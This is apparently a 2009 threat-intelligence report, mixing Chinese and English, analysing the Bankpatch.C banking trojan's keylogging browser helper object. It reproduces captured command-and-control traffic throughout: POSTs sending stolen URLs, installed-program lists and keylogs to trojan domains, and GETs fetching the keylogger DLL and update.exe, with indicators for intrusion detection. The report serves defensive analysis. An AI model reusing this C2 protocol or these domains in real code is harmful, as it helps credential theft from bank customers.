



## Bankpatch 恶意软件的网络流量与跟踪

恶意软件报告

发布日期

2009 年 02 月 10 日 06:37:22 AM

版本 3

已更新的概要和键盘记录活动有关的分析

### 过去的版本

名字	版本号	版本注释	发布日期
Bankpatch Web Traffic Monitoring and Tracking	2	更新的 POST 数据	2009 年 02 月 03 日
Bankpatch Web Traffic Monitoring and Tracking	1		2009 年 02 月 02 日

### 简介

风险等级： 高

恶意代码名称： Bankpatch.C

文档编号： 09-4674

### 报告

#### 综述：

2009 年 02 月 03 日， iSIGHT Partners 成功获取了一个下载并安装浏览器辅助对象（BHO）的木马程序（版本号 112）。从高度共同域触发的 BHO 引发有关 SSL，广告/分析和金融领域的连锁反应。最初测试中的全面键盘记录，以及有关新信息，新反恶意代码软件的分析数据和全面的 TCP 流，对客户来说现在已经可用了。如果您对获得此信息感兴趣，请联系 Tara Sloden，邮箱地址：[tsloden@isightpartners.com](mailto:tsloden@isightpartners.com)。

#### 分析：

更新-2009 年 02 月 09 日：包括代码更新，信息窃取和命令控制流量故障的详细信息已经被加入到这份报告中。Bankpatch 现在的版本号是 115。

经证实受 Bankpatch.C 木马影响的网站数量庞大，iSIGHT Partners 已经将此报告重要性升级为高。iSIGHT Partners 成功在本地 Windows 机器上处理了 Bankpatch 的较新变种，与在 SSL 网站上实时执行认证盗窃行为的命令与控制，其中包括一些美国金融服务网站。iSIGHT Partners 早前针对 Bankpatch.C 的分析报告并没有覆盖一整套已经嵌入目标的恶意代码，但是最新开发出来的程序显示当用户浏览开启了 SSL 加密的网站时 Bankpatch.C 仍然盗取用户认证信息，而且网站加入包括“yieldmanager”，“doubleclick”和“hitbox”在内的一个或多个页面分析服务（更详细的列表可以在 IntelliSIGHT Malcode Report ID #09-4675 中找到）。

这些流行的分析服务存在于一些SSL支持网站，当用户浏览一个被感染病毒的网站时，被设计成捕捉用户按键动作，鼠标点击动作以及session信息的浏览器辅助对象（BHO）就被下载到用户电脑中。被捕获的信息从公共域被上传到远程C&C服务器中。通常，恶意代码本身会嵌入针对性很强的payload（习惯上针对丹麦银行和一小部分美国金融机构），现已证实对于很多电子商务和同类网站，它是一个传播广泛的键盘记录软件。

初步研究显示浏览器辅助对象激活恶意代码内的已知广告/解析字符串。在大量提供SSL服务连接的网站上面都发现这类字符串。

SSL+解析/广告站点激活键盘记录活动：

- mathtag
- yieldmanager
- doubleclick
- hitbox
- 112.2o7
- coremetrics
- netminers

这些行为准确地反映了木马程序是如何工作的，但是不同的环境下代码的表现也不一样。在VMware测试中，代码不会终止或执行类似普通anti-vmware代码的恶意活动。相反，它编译代码，具体到VMware的测试站的一个base64字符串，上传到C&C的例子显示如下：

```
POST /index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Opera/9.20 (Windows NT 5.1; U: en)
Host: eixcanta.com
Content-Length: 82
Cache-Control: no-cache
&id=USA_MDAwMDAwMDAwMDAwMDAwMDAwMTA=&q=le&action=check&ch
=h&version=097&vendor=Old
HTTP/1.1 200 OK
Date: Sun, 01 Feb 2009 20:44:47 GMT Server: Apache
Content-Length: 88
Content-Type: text/html;
charset=UTF-8
mnveN+jXNqx4RrWTEcy6zVh2UBXA0DLHBy3yWQ9VDS88ycMvwPy6oAJFisIdY
IxUHfvFV97p5OPEdlunrtgiBw==
```

当代码在本地Windows系统中运行，C&C服务器的反应与代码运行于VMware中不同。这是由于当研究人员分析恶意代码的时候，恶意行为者为了防止被认出而使用的部分尖端反分析技术。一旦服务器相信它正运行在一个合法的受害者机器上，接着在SSL网站上激活匹配目标字符串并提供使用说明以下载精确匹配的浏览器辅助对象。同时还为一般匹配下载一个更通用的浏览器辅助对象并触发“yieldmanager”和“doubleclick”用来窃取大量有关键盘记录，鼠标双击和HTML流量在内的详细信息。在2009年02月03日的实验室测试中，这类浏览器辅助对象已经被发现可以从全球多个目标窃取session信息。换句话说，根据2008年底，丹麦分析欺诈行为的国际战略研究中心安全组认为特定的浏览器辅助对象被下载和用于特殊的金融目标。

实验室测试了版本号112的Bankpatch，并当作木马程序报告给C&C，包含大量相关细节的信息，客户可以联系Tara Sloden索取，邮箱地址：[tsloden@isightpartners.com](mailto:tsloden@isightpartners.com)。

键盘记录数据的初步分析通过一个已激活的浏览器辅助对象发送给 C&C，并为网络流量信息显示一些独特的标识：

Posts to a domain generated by the Trojan, currently \*\*\*\*anta.com (there are a number of domain generation

sequences), where \*\*\*\* represent four randomized alpha-characters.

Posts to index.php.

UAS = Opera/9.20 (Windows NT 5.1: U: en)

Data frequently sent to the C&C includes the text "version=###&vendor=Old", where ### represents a two to three

digit version number for the Trojan installed on the computer. (the Old vendor is currently in use by known samples but

other vendors have been used before)

Server responses are from Apache/2 (although this information may vary; more tests over time with different servers

are required).

X-Powered-By: PHP/5.2.8

Server responses for the frequent, real time URL POSTs is "https".

以下是 Bankpatch 在本地 Windows 机器上造成系统崩溃的输出信息：

Targeted URLs are posted to the C&C in real time:

POST /index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Opera/9.20 (Windows NT 5.1: U: en)

Host: kqbzanta.com

Content-Length: 174

Cache-Control: no-cache

&id=USA\_X19fX19fX19fX19fTDU3WTVBWk0=&q=lo&data\_type=url&data\_content=https%3A%2F%2Fonline%2Ecitibank%2Ecom%2Fsignin%2FUsernameSignonCookie%2Edo&check=https&version=112&vendor=Old

Server: Apache/2

X-Powered-By: PHP/5.2.8

Vary: Accept-Encoding,User-Agent

Content-Length: 4

Content-Type: text/html https

"Personal" POSTs are one of several configuration checks, in this case the server directs Bankpatch to download the generic

keylogger BHO:

POST /index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Opera/9.20 (Windows NT 5.1: U: en)

Host: kqbzanta.com

Content-Length: 94

Cache-Control: no-cache

&id=USA\_X19fX19fX19fX19fTDU3WTVBWk0=&q=pe&data\_type=Personal&check=Pers&version=112&vendor=Old

HTTP/1.1 200 OK  
Date: Tue, 03 Feb 2009 22:18:31 GMT  
Server: Apache/2  
X-Powered-By: PHP/5.2.8  
Vary: Accept-Encoding,User-Agent  
Content-Length: 24  
Content-Type: text/html  
dl/AcroIEHelpe.dll  
Pers

Current BHO being downloaded (other names have included AcroIEHelpe6.dll, AcroIEHelper1.dll, AcroIEHelper2.dll etc.):

GET /dl/AcroIEHelpe.dll HTTP/1.1  
User-Agent: Opera/9.20 (Windows NT 5.1: U: en)  
Host: kqbzanta.com  
Cache-Control: no-cache  
HTTP/1.1 200 OK  
Date: Tue, 03 Feb 2009 22:18:33 GMT  
Server: Apache/2

Last-Modified: Mon, 02 Feb 2009 14:19:17 GMT  
ETag: "81e7-13920-461f03d664340"  
Accept-Ranges: bytes  
Content-Length: 80160  
Vary: Accept-Encoding,User-Agent  
Content-Type: application/octet-stream

Apps POSTs upload all installed programs on the machine (possibly for further identifying Java and other relevant web

applications or detecting security researchers):

POST /index.php HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Opera/9.20 (Windows NT 5.1: U: en)  
Host: kqbzanta.com  
Content-Length: 4666  
Cache-Control: no-cache

&id=USA\_X19fX19fX19fX19fTDU3WTVBWk0=&q=lo&data\_type=apps&data\_content=NT%20v5%2E1%20Build%202600%0D%0AWindows%20Driver%20Package%20%2D%20Ricoh%20Company%20%28rimsptsk%29%20hdc%20%20%2811%2F14%2F2006%206%2E00%2E01%2E04%29%202009%2E01%2E29%0D%0AAAdobe%20AIR%202009%2E01%2E30%0D%0AAAdobe%20Flash%20Player%2010%20ActiveX%202009%2E01%2E30%0D%0AAcrobat%2Ecom%202009%2E01%2E30%0D%

[redacted]

E28%0D%0AmDrWiFi%202009%2E01%2E28%0D%0AmWlsSafe%202009%2E01%2E28%0D%0A&check=apps&version=112&vendor=OldHTTP/1.1 200 OK

Date: Tue, 03 Feb 2009 22:18:31 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.8

Vary: Accept-Encoding,User-Agent

Content-Length: 4

Content-Type: text/html

Apps

UpdT gets the latest version of the Bankpatch installer (the code may download even if the current version is the same):

POST /index.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: Opera/9.20 (Windows NT 5.1; U: en)

Host: kqbzanta.com

Content-Length: 74

Cache-Control: no-cache

&id=USA\_X19fX19fX19fX19fTDU3WTVBwk0=&q=u&check=UpdT&version=11

2&vendor=OldHTTP/1.1 200 OK

Date: Tue, 03 Feb 2009 22:18:40 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.8

Content-disposition: attachment; filename=update.exe

Vary: Accept-Encoding,User-Agent

Transfer-Encoding: chunked

Content-Type: application/octet-stream

a440

MZ.....

Uploads of keylog and other stolen data are posted in multipart messages that start out like:

POST /index.php HTTP/1.1

Content-Type: multipart/form-data; boundary=13589B9E47

User-Agent: Opera/9.20 (Windows NT 5.1; U: en)

Host: kqbzanta.com

Content-Length: 24773

Cache-Control: no-cache

--13589B9E47

Content-Disposition: form-data; name="id"

USA\_X19fX19fX19fX19fTDU3WTVBwk0=

--13589B9E47

Content-Disposition: form-data; name="version"

112

--13589B9E47

Content-Disposition: form-data; name="q"

fi

--13589B9E47

Content-Disposition: form-data; name="vendor"

Old

--13589B9E47  
Content-Disposition: form-data; name="data\_type"  
loaderlogs  
--13589B9E47  
Content-Disposition: form-data; name="filename"  
3444\_0000000015.htm  
--13589B9E47  
Content-Disposition: form-data; name="check"  
001CFF47  
--13589B9E47  
Content-Disposition: form-data; name="filesize"  
24036  
--13589B9E47  
Content-Disposition: form-data;  
name="content"; filename="3444\_0000000015.htm"  
Content-Type: text/plain  
Version: 9 Time: 2009-02-03 17:51:21 Url:  
Within these files are the stolen credentials/keystrokes, cookies, HTML and  
other session data.

**Workaround:**

If customers develop custom IDS signatures or similar network solutions, iSIGHT Partners encourages you to share the data to best benefit all customers as we cooperatively and proactively attempt to defend against this highly sophisticated global Trojan attack.

**Hostile Remote Content:**

Sample active domains:  
vvipanta.com [92.62.100.150]  
kqbzanta.com [92.62.100.152]

**操作系统:**

Windows

EMAIL 内容

相关 iSIGHT Partners 报告

名称	版本号	文件编号	发布日期
Bankpatch.C Found to Steal From Many Sites	2	09-4675	2009年02月02日